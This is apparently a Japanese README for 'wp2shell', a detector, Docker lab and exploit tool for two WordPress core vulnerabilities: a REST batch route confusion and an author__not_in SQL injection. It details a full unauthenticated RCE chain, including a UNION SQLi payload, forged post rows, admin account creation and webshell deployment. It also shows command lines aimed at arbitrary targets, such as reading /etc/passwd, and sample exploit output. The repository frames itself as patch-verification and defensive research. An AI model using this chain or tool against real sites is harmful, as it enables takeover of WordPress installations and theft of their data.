
wp2shell用の非破壊検出器 + Dockerラボ(WordPressコア6.9.0-6.9.4 / 7.0.0-7.0.1におけるCVE-2026-63030 REST /batch/v1 ルート混同 + CVE-2026-60137 author__not_in SQLi)
| CVE | コンポーネント | 分類 | CVSS |
|---|
| CVE-2026-60137 | WP_Query::author__not_in | SQL インジェクション (CWE-89) | 9.1 |
| CVE-2026-63030 | REST /batch/v1 ルート混乱 | 解釈の競合 (CWE-436) → RCE に連鎖 | 7.5 |
影響を受けるバージョン: WordPress コア 6.9.0–6.9.4 および 7.0.0–7.0.1 (SQLi シンクのみでも 6.8.0–6.8.5 に影響)。6.8.6 / 6.9.5 / 7.0.2 で修正。 Adam Kues (Assetnote / Searchlight Cyber) が報告。SQLi は TF1T、dtro、haongo にもクレジットされています。ストックデフォルト RCE チェーン (oEmbed → changeset → re-entry) は Mustafa Can İPEKÇİ (nukedx) によるものです。
まず更新を。 WordPress はこれに対する強制自動更新を配信しました。このリポジトリは、あなた自身の環境がパッチ適用済みであることを確認し、このバグを理解するために存在します — 誰かを攻撃するためではありません。SECURITY.md を参照してください。
常に成立するプリミティブは、認証不要・プラグイン不要・ストックコアの SQL インジェクションであり、データベース全体の読み取り (管理者パスワードハッシュ、wp_options/wp_users 内のすべて) を可能にします。これだけで CVSS 9.1 に値し、即時のパッチ適用が求められます。
RCE は現実に存在し、ストックデフォルトの WordPress で動作します — FILE 権限、永続オブジェクトキャッシュ、プラグイン、設定ミスのいずれも不要です。このチェーンは読み取り専用の SQLi を行偽造プリミティブとして使用し (UNION ALL SELECT が偽の wp_posts 行を注入)、WordPress 自身のコンテンツレンダリングパイプラインを利用して、oEmbed キャッシング経由でそれらの偽造行を実際のデータベース書き込みに変換します。そこから、changeset の昇格と再入可能な parse_request が管理者コンテキストで実行され、新しい管理者アカウントが作成されます — すべて単一の認証不要 HTTP リクエストからです。
POST /?rest_route=/batch/v1)1. Route confusion — double-nested batch desyncs $matches/$validation so a GET
/wp/v2/widgets runs under posts::get_items() (public), reaching
WP_Query's author__not_in with attacker-controlled input.
2. Row forgery — author__not_in is string-concatenated into SQL;
"1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
treats -1 as "no limit" → empty $limits → split=false →
full SELECT wp_posts.* → UNION columns match).
3. oEmbed write — forged posts carry [embed]<self-url>[/embed]; rendering via
context=view makes WordPress cache real oembed_cache posts in
the DB (turns read-only SQLi into writes with predictable IDs).
4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
forged post_type=request row with parent loops drives an
in-process re-entrant parse_request in admin context.
5. Admin creation — POST /wp/v2/users in the same batch passes
current_user_can('create_users') → new administrator.
6. RCE — login → plugin webshell upload → command execution → cleanup.
新規性は構成 (composition) にあり、単一のバグではありません — 個々のガジェットは WordPress の正当な動作です。それらに名前を付けること (Adam Kues の記事による) で、exploit() 内の偽造行グラフが読みやすくなり、エントリポイントがパッチ適用された後に再監査すべき箇所を示します:
wp_update_post() で調整し、インメモリの post_type/post_status を優先するため、oembed_cache 行を実際の post/customize_changeset に型変換できます。post_content を保持するサイクル検出 — wp_insert_post_parent フィルタは親チェーンを辿ります。サイクルを検出すると、2 回目の wp_update_post() を呼び出して、post_content を上書きせずに親を修正します。これが決定的なリンクです: 偽造 changeset の悪意ある post_content を生き残らせることができます。(これが偽造行が自己/相互親ループを使用する理由です。)parse_request によるフック再実行 (replay) — 投稿の公開は do_action("{$status}_{$type}") を発火させます。post_status=parse / post_type=request を持つ偽造行は parse_request をトリガーし、changeset が仮定する管理者 ID (wp_set_current_user) が有効なままバッチパイプラインを再実行します。これらのガジェットはパッチ適用済みの WordPress にも残っています — 閉じられたのは 2 つのエントリポイント (バッチデシンク + author__not_in スカラーバイパス) のみです。インメモリの投稿キャッシュを偽造する、または oembed_cache 行を書き込む新しいプリミティブがあれば、同一の管理者乗っ取りテールが再び有効になります。
4 つすべてのレンダリング時書き込みプリミティブは 7.0.1 に対して実機で確認済みです — それぞれ認証不要の投稿として偽造され、バッチ混乱を介してレンダリングされ、結果として生じる DB 書き込みがブラインド SQLi で検証されました:
| プリミティブ | トリガーマークアップ | シンク | 予測される識別子 | 検証結果 |
|---|---|---|---|---|
| oembed | [embed]<url>[/embed] | wp_posts 行 (oembed_cache) | post_name = md5(url+attrs) | 投稿 ID が作成された |
| rss | wp:rss {feedURL} | wp_options サイトトランジェント | _site_transient_feed_<md5(url)> | option_id、5192 B キャッシュ済み |
| navigation | wp:navigation | wp_posts 行 (wp_navigation) | post_name = 'navigation' (固定) | ID 作成済み、スラッグ navigation |
| calendar | wp:calendar | wp_options | wp_calendar_block_has_published_posts | option_id、値 '1' |
各結果が証明すること:
md5(url+serialize(attrs))) と実際の auto-increment ID を持つ新しい wp_posts 行を得られます。複数・オンデマンド・攻撃者命名の投稿行を提供する唯一のものであり、RCE チェーンが偽造 changeset/request グラフのバックエンドにこれを使用する理由です。_site_transient_feed_<md5(url)> は完全に予測可能で、格納されるバイトは攻撃者の URL が配信するフィード本文です — つまり、攻撃者はキーと値の両方を制御します。wp_options への書き込み (投稿 ID なし) のため、changeset のバックエンドにそのまま使える代替ではなく、オプション汚染 (option-poisoning) プリミティブです。wp_navigation が存在する場合はスキップ) のため、oEmbed の N 行とは異なり、偽造オブジェクトを最大 1 つしかバックできません。update_option パスが認証不要で発火することを確認しますが、オプション名とその '1'/'0' の値は固定/DB 由来のため、キーや値に対する攻撃者の制御がない「書き込みが発生する」ことのデモです。FILE 権限を保持し、secure_file_priv が Web からアクセス可能で、出力先が Web ユーザーに読み取り可能であることが必要です。通常の/マネージドホストではどれも成立しません。call_user_func('wp_insert_user', user_data_array) — 要件: gc_enabled()=false + 有効な HMAC (正確なシリアライズ済みバイト列の wp_hash、wp-config.php のシークレットが必要)。必要条件: Docker + Docker Compose v2、Python 3.8+ (標準ライブラリのみ)、make、curl。
make up # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof # -> also reads @@version and current_user() as read-only evidence
make exploit # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched # rebuild on the fixed image and re-check -> [not vulnerable]
make down # tear down (removes volumes)
ポートを変更するには WP_PORT=8100 make up を使用します。
パッチ適用済みイメージに関する注意: 公式 Docker
wordpressイメージは WordPress コアのセキュリティリリースより 1〜2 日遅れることがあります。make patchedがwordpress:7.0.2はまだ Docker Hub にないと報告した場合は、後で再試行するか、公開済みの修正タグを指定してください:make patched WP_PATCHED_TAG=6.9.5(または7.0.2/6.8.6)。WordPress 6.9.5 / 7.0.2 / 6.8.6 のいずれか以上であればnot vulnerableを返します。
$ make check
[VULNERABLE] http://localhost:8093 (WordPress 6.9.4, affected-full-chain) [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
confirmed: unauthenticated SQL injection
rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)
$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!... ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ make patched
[not vulnerable] http://localhost:8093 (WordPress 7.0.2, outside-affected-range) [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]
wp2shell_check.py)標準ライブラリのみ、依存関係なし。
非破壊型で、3 つの独立した軸で自動フォールバックするため、単一の経路がブロックされても誤検知 (false negative) と読まれることはありません:
WHERE を true/false に切り替え、混乱した投稿クエリの X-WP-Total が減少するのを確認、SLEEP は不使用)。それが発火しない場合は、時間ベースの SLEEP 差分。SLEEP は導出テーブル — (SELECT 1 FROM (SELECT SLEEP(n))x) — でラップされているため、行数に関係なく 1 回だけ評価されます (素の SLEEP() は一部のマネージドホストで最適化によって除去され、誤検知と読まれる可能性があります)。/wp-json をブロックする場合は、POST / に対する rest_route=/batch/v1 マルチパートフォーム (オペレーターの実際のリクエスト形式)。/wp/v2/users に対して検証されます。そのエンドポイントが認証不要の呼び出し元に対して無効な場合 (Disable-REST-API プラグイン、ユーザー列挙対策のハードニング)、汎用の /wp/v2/posts/<id> アイテムエンドポイントにフォールバックします。いずれもデータを読み取らず、状態も変更しません。--proof は制限付きブラインド読み取りで @@version と current_user() のみを読み取ります。機密データの抽出やコード実行の試行は行いません。
python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080
-c COMMAND)完全な悪用チェーン: 検出 → 行偽造プリフライト → oEmbed キャッシュのシード → in-band UNION 抽出 → changeset の昇格 → 再入可能な parse_request → 管理者作成 → ログイン → プラグインウェブシェル → 実行 → 自己クリーンアップ。ストックデフォルトの WordPress で動作 — FILE 権限、永続オブジェクトキャッシュ、プラグインは不要です。
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
python3 wp2shell_check.py https://target.example -c "cat /etc/passwd" --authorized
per_page=-1 による split_the_query バイパスがこのターゲットで機能することを確認します。永続オブジェクトキャッシュ (Redis/Memcached — マネージドホストで一般的) は split_the_query を強制し、行偽造をブロックします: ツールはそれを正確に報告し (SQLi は依然として存在し、ブロックされるのは RCE のみ)、孤立した oembed_cache 行を一切残しません。SLEEP ラダーの代わりに、混乱した投稿レスポンスから直接読み取られます (それぞれ 1 リクエスト) — リクエスト数は約 50〜100 分の 1 で、WAF/レート制限への露出が大幅に減少します。in-band 読み取りが何らかの理由でフィルタリングされた場合も、ブラインドオラクルが自動フォールバックとして残ります。-c CMD (事前認証 RCE)、--proof (読み取り専用の証拠)、-f FILE (バッチスキャン)、-t/--threads N (並行ワーカー数、デフォルト 10)、--method auto|boolean|time、--delivery auto|json|multipart (--multipart エイリアス)、--slot auto|users|posts-item、--sleep N (注入する遅延、デフォルト 4)、--rounds N (N 回のプローブの中央値)、--route auto|rest-route|wp-json、--timeout N、--proxy URL、--json、--authorized。
ステータス値
vulnerable — インジェクションによって能動的に確認済み (バッチ混乱、6.9.0–7.0.1)。アクティブオラクルが証明するのは認証不要の SQL インジェクションです。事前認証 RCE はストックインストールではそこから到達可能ですが、さらに永続オブジェクトキャッシュがないことが必要です (リモートでは検証できない前提条件 — RCE PoC は書き込み前にプリフライトします)。出力はその区別を明示します (confirmed: / rce: 行)。affected_version — フィンガープリントされたバージョンが影響範囲内だが、アクティブチェックが発火しなかった (6.8.0–6.8.5 は SQLi シンクを持つが混乱はない。または WAF がプローブをブロックした)。not_vulnerable — アクティブチェックが陰性で、バージョンが影響範囲外。終了コード: 0 = 要対応、1 = 脆弱ではない、2 = エラー。
堅牢性: POST ボディを保持したままリダイレクトに追従し、ホストを事前に一度だけ正規化し、TLS エラーを無視します (curl -k)。
/wp-json/batch/v1 と ?rest_route=/batch/v1 の両方をブロックしてください — プリティパスのみを対象にしたルールではクエリ文字列ルートが開いたままになります — または rest_pre_dispatch フィルタでバッチルートに認証を要求してください。MIT — LICENSE を参照してください。